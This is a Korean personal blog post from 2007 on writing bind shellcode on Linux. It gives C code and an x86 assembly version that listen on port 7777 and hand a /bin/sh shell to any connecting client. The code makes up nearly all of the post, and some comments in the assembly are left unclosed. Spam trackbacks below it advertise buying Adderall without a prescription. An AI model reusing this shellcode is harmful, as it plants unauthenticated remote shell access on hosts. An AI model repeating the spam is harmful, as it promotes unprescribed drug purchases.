bind 쉘_코드_만들기

테스트는 젠투 리눅스에서 했습니다

설명은 조금있다가 덧붙일게욤~

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 7777

int serv_sock;
int clnt_sock;

struct sockaddr_in serv_addr;
char *sh[2]={"/bin/sh",NULL};

int main()
{
        if(fork()==0){
        serv_sock=socket(PF_INET,SOCK_STREAM,0);
        serv_addr.sin_family=AF_INET;
        serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
        serv_addr.sin_port=htons(PORT);
        bind(serv_sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr));
        listen(serv_sock,1);
        clnt_sock=accept(serv_sock,NULL,NULL);
        dup2(clnt_sock,0);
        dup2(clnt_sock,1);
        dup2(clnt_sock,2);
        execve(sh[0],sh,NULL);
        }
}


.global main
main:
        /*if(fork==0)*/
        xor  %eax,%eax
        movb  $0x2,%al
        int  $0x80
        test %eax,%eax
        jnz  exit
        call eoc
start:
        pop  %esi
        /*serv_sock=socket(PF_INET,TCP_STREAM,0);*/
        xor  %eax,%eax
        xor  %ebx,%ebx
        movl $0x2,(%esi)
        movl $0x1,0x4(%esi)
        movl $0x0,0x8(%esi)
        mov  $0x1,%bl
        mov  $0x66,%al
        leal (%esi),%ecx
        int  $0x80
        movl %eax,%edx
        /*bind(serv_sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); 사이즈는 16임*/
        xor  %eax,%eax
        xor  %ebx,%ebx
        movl $0x2,0x10(%esi)
        movl $0x77,0x12(%esi)
        movl %edx,(%esi)
        leal 0x10(%esi),%ecx
        movl %ecx,0x4(%esi)
        movl $0x16,0x8(%esi)
        mov  $0x2,%bl
        mov  $0x66,%al
        leal (%esi),%ecx
        int  $0x80
        /*listen(serv_sock,1);
        xor  %eax,%eax
        xor  %ebx,%ebx
        movl %edx,(%esi)
        movl $0x1,0x4(%esi)
        mov  $0x4,%bl
        mov  $0x66,%al
        leal (%esi),%ecx
        int  $0x80
        /*clnt_sock=accept(serv_sock,0,0);
        xor  %eax,%eax
        xor  %ebx,%ebx
        movl %edx,(%esi)
        movl $0x0,0x4(%esi)
        movl $0x0,0x8(%esi)
        mov  $0x5,%bl
        mov  $0x66,%al
        leal (%esi),%ecx
        int  $0x80
        movl %eax,%edx
        /*dup2(clnt_sock,0);
        xor  %eax,%eax
        xor  %ebx,%ebx
        movl %edx,%ebx
        movl $0x0,%ecx
        mov $0x3f,%eax
        int $0x80
        /*dup2(clnt_sock,1);
        inc  %ecx
        mov $0x3f,%eax
        int $0x80
        /*dup2(clnt_sock,2);
        inc  %ecx
        mov $0x3f,%eax
        int $0x80
        /*execve(sh[0],sh,NULL);
        movl $0x6e69622f,(%esi)
        movl $0x0068732f,0x4(%esi)
        movl $0x0,0x8(%esi)
        movl %esi,0xc(%esi)
        movl 0xc(%esi),%ebx
        leal 0xc(%esi),%ecx
        movl $0x0,%edx
        movb $0xb,%al
        int  $0x80

exit:
        xor  %eax,%eax
        mov  $0x1,%al
        int  $0x80
eoc:
        call start
/*꼭 gdb로 disas했을때 레지스터 순서대로 던져야 제대로 먹힘 ㅠㅠ 갠히 안다고 깝치다가 하루 날려먹었네 ㅡ..ㅡ*/
/*일단 되는데로 짯기 때문에 코드크기는 다음시간에 조절을 ㅡ..ㅡ*/

이 글과 관련있는 글을 자동검색한 결과입니다 [?]

by 홍텐 | 2007/08/20 03:19 | gentoo | 트랙백(3)

트랙백 주소 : http://HongTen.egloos.com/tb/561558
☞ 내 이글루에 이 글과 관련된 글 쓰기 (트랙백 보내기) [도움말]
Tracked from Adderall. at 2009/04/30 21:41

제목 : Inject adderall.
Adderall treating anxiety in adults. Adderall online. Adderall withdrawal. Adderall. Smoking adderall. Pictures of adderall xr....more

Tracked from Adderall sid.. at 2009/05/09 22:44

제목 : Adderall.
Adderall without a prescription. Adderall medication. Adderall. Buy adderall no prescription....more

Tracked from Adderall and.. at 2009/05/10 07:44

제목 : Buy adderall online no presc..
Adderall xr. Buy adderall without a prescription. Adderall side effects. Adderall overnight no prescription. Adderall prescription. Adderall. Who makes adderall. Snort adderall xr....more

※ 로그인 사용자만 덧글을 남길 수 있습니다.

◀ 이전 페이지다음 페이지 ▶